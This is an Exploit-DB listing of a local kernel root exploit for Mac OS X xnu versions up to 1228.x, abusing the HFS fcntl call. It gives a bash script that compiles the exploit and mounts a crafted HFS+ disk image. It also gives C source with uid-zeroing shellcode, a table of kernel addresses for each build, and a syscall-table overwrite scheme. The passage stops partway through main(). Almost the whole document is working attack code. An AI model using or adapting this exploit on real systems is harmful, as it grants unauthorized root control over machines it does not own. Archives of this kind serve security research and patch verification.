Exploit-DB #8266
Description: Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
Type: local
Platform: osx
Date: 2009-03-23
Author: mu-b

Exploit:
#!/bin/bash
# * xnu-hfs-fcntl-v2.sh
# *
# * Copyright (c) 2008 by <mu-b@digit-labs.org>
# *
# * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
# * by mu-b - Sat 14 June 2008
# *
# * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
# *              Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
# *              Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
# *              Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
# *              Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
# *              Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
# *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
# *              Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
# *              Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
# *              Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
# *              Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
# *
# *    - Private Source Code -DO NOT DISTRIBUTE -
# * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
# *

IMAGE=xnu-hfs
EXPFILE=xnu-hfs-fcntl-v2

echo -en "Apple MACOS X xnu <= 1228.x local kernel root exploit\n" \
         "by: <mu-b@digit-labs.org>\n" \
         "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"

if [ ! -f $EXPFILE ]; then
  echo -n "* compiling exploit..."
  gcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null
  if [ $? != 0 ]; then
    echo " failed"
    exit $?
  else
    echo " done"
  fi
fi

if [ ! -f $IMAGE.dmg ]; then
  echo -n "* creating diskimage..."
  hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null
  if [ $? != 0 ]; then
    echo " failed"
    exit $?
  else
    echo " done"
  fi
fi

echo -n "* attaching/mounting diskimage..."
hdiutil attach $IMAGE.dmg > /dev/null
if [ $? != 0 ]; then
  echo " failed"
  exit $?
else
  echo " done"
fi

echo -e "* executing exploit...\n"
./$EXPFILE /Volumes/$IMAGE

echo -n "* detaching/unmounting diskimage..."
hdiutil detach /Volumes/$IMAGE > /dev/null
if [ $? != 0 ]; then
  echo " failed"
  exit $?
else
  echo " done"
fi

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/* xnu-hfs-fcntl-v2.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
 * by mu-b - Sat 14 June 2008
 *
 * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
 *              Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
 *              Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
 *              Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
 *              Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
 *              Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *              Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
 *              Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
 *              Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
 *              Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/attr.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

#define OSX_TIGER           0x04
#define OSX_LEOPARD         0x05

#define HFS_GET_BOOT_INFO   0x00010004
#define SYSCALL_NUM         21
#define TIGER_HIT_ADDY(a)   ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM))
#define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM))

/* 1228.x, bsd/sys/sysent.h */
struct sysent {
  short sy_narg;
  char  sy_resv;
  char  sy_flags;
  void  *sy_call;
  void  *sy_arg_munge32;
  void  *sy_arg_munge64;
  int   sy_return_type;
  short sy_arg_bytes;
};

static unsigned char ztiger[] =
  "\x55"
  "\x89\xe5"
  "\x8b\x45\x08"
  "\x8b\x40\x08"
  "\xc7\x40\x10\x00\x00\x00\x00"
  "\x31\xc0"
  "\xc9"
  "\xc3";

static unsigned char zleopard[] =
  "\x55"
  "\x89\xe5"
  "\x8b\x45\x08"
  "\x8b\x40\x64"
  "\xc7\x40\x10\x00\x00\x00\x00"
  "\x31\xc0"
  "\xc9"
  "\xc3";

static struct targets {
  const char *name;
  int shell_addr;   /* &copyright */
  int sys_addr;     /* &nsysent   */
  const int type;
} targets_t[] = {
  /* tiger */
  { "root:xnu-792.14.14.obj~1/RELEASE_I386", 0x004518ac, 0x00451920, OSX_TIGER },
  { "root:xnu-792.18.15~1/RELEASE_I386", 0x004528ec, 0x00452960, OSX_TIGER },
  { "root:xnu-792.22.5~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },
  { "root:xnu-792.25.20~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },
  /* leopard */
  { "root:xnu-1228~1/RELEASE_I386", 0x0050170c, 0x00501780, OSX_LEOPARD },
  { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0050270c, 0x00502780, OSX_LEOPARD },
  { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0050470c, 0x00504780, OSX_LEOPARD },
  { "root:xnu-1228.5.18~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
  { "root:xnu-1228.5.20~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
  { "root:xnu-1228.7.58~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },
  { "root:xnu-1228.9.59~1/RELEASE_I386", 0x0050A70c, 0x0050A780, OSX_LEOPARD },
  { NULL, 0, 0, 0 },
};

int
main (int argc, char **argv)
{
  struct utsname p_uname;
  struct sysent fsysent;
  struct attrlist attr;
  char buf_attr[2048], *ptr;
  int shell_addr, sys_addr, sysent_addr;
  int fd, id, i, n, type;

  printf ("Apple MACOS X xnu <= 1228.x local kernel root exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s <hfs volume>\n", argv[0]);